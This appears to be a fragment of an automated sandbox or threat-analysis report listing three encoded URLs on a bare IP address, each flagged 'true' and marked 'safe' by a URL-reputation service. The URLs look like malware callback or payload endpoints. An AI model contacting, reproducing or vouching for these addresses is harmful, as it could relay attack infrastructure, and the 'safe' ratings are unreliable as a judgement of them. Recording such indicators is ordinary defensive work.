http://185.189.151.28/drew/cVbBCVAVC_2BrfCTTliq4D/TR89j_2FDMhBC/Rx3lDg61/HvgZB2J7R7VD_2FxHgth09P/H_2Fp_2B0K/lT2QuoqZm8BQycZwQ/H4nFd1cHmG_2/B8ivI_2F0O9/bJq8uYFSa5v9Ij/oSxEbcCz5_2FkNItSz7M7/RsUqbQcn0xtbFLfk/s_2BoKVrnDqJChc/UQqpJa6I6sYnVdkvyr/aVGGIz6zI/ZEQtOcGy53_2B5iYxze_/2BYqRtgImRp7tBA6q9P/SewC3o45SwnJ_2BNfdtGRr/1q9JxgDBH/3.jlk true
  • Avira URL Cloud: safe
 unknown
http://185.189.151.28/drew/SE7WZ12eEzLDbcY/ReHD9U37IHMRdNMyX0/f61fYgNDH/xkc3DHorIjF18_2BtcDI/NMTbVOfmJtH6P_2FDxg/fYP24ZJpA_2BXAD0LiynfR/sY7KfedmKK4eh/fSjWb6Xu/fAf6iEN7Rblzydam2OSbiSx/Vw6Cb_2Bbg/Vc9aYir_2By_2BYAt/7uRRpr7mVOmx/v_2F66pvHXt/nmtBefhmAX5DJk/ied6XVEApSsG8HlMS4KeZ/kP7pKEMCKNfzyZum/QUL8CnndyLC0Xcl/NmgSkYn.jlk true
  • Avira URL Cloud: safe
 unknown
http://185.189.151.28/drew/21j59p5h/aMY7pIvB814fHQzA54TmstP/6F84QjrY8T/SpaWCfEUD_2FnWXvC/rEqVxZeDiGmB/EVC7r5ALKWg/9SLUGnIzpxcWYM/xuMBfgGVcmtRuQEdnu_2F/z6aCj8Veiw_2FLpI/klXzvSCm2R4EgNj/tX1BLPzJEB4fd6nZGQ/ASaXUuL8G/Cb1hq1kHRkSzUSxa9avd/CLUWUoeV5nKWyDrb3Sa/Aw0B4o70zU_2B7Hjx9TwWi/5WU7_2FRUtVgO/Qd4d0Z1_2Bvo/b7ociWkm.jlk true
  • Avira URL Cloud: safe
 unknown